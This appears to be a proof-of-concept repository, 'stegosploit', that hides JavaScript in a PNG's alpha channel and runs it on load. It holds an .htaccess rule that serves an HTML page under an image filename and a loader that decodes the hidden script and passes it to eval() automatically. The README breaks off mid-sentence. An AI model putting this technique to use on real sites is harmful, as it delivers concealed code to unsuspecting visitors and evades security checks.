Oh noes

├── .htaccess ├── js ├── loader.js └── steganography.js ├── README.md └── twitter.html /.htaccess: -------------------------------------------------------------------------------- 1 | RewriteEngine On 2 | RewriteRule ^twitter\.png$ /twitter.html [L] -------------------------------------------------------------------------------- /js/loader.js: -------------------------------------------------------------------------------- 1 | Element.prototype.remove = function() { 2 | this.parentElement.removeChild(this); 3 | } 4 | 5 | function load() { 6 | var source = document.getElementById('source'); 7 | var image = document.getElementById('cat'); 8 | 9 | image.crossOrigin = "Anonymous"; 10 | image.onload = function() { 11 | unpack(image); 12 | }; 13 | 14 | image.src = source.getAttribute('data-url'); 15 | } 16 | 17 | function unpack(data) { 18 | eval(steg.decode(data)); 19 | } 20 | 21 | document.onload = load(); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | stegosploit 2 | =========== 3 | 4 | ### What is steganography? 5 | > The art and science of hiding information by embedding messages within other, seemingly harmless messages. Steganography works by replacing bits of useless or unused data in regular computer files with bits of different, invisible information. 6 | 7 | In this example we hide JavaScript code in the alpha channel of a PNG file then execute it when the image finishes loading. 8 | 9 | ### What? 10 | The original exploit was discovered by [Saumil Shah][saumil] and used an HTML5 `